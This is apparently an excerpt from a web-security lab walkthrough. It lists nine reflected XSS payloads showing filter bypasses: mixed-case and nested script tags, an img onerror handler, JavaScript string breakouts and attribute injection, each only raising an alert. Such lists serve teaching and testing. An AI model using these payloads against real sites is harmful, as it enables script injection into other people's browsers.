?name=hacker<script>alert(\'xss\')</script>
Example 2?name=hacker<ScriPt>alert(\'xss\')</ScriPt>
Example 3?name=hacker<scr<script>ipt>alert(\'xss\')</scr</script>ipt>
Example 4?name=hacker1<img src="http://www.likecs.com/12" onerror=alert(\'xss\') />
Example 5?name=hacker11<script>prompt(/xss/)</script>
Example 6?name=hacker";alert(/xss/);//
Example 7?name=hacker\';alert(/xss/);//
Example 8"method="POST"><script>alert(1)</script>
" onsubmit="alert(\'1\')
Example 9#<script>alert(1)</script>
最后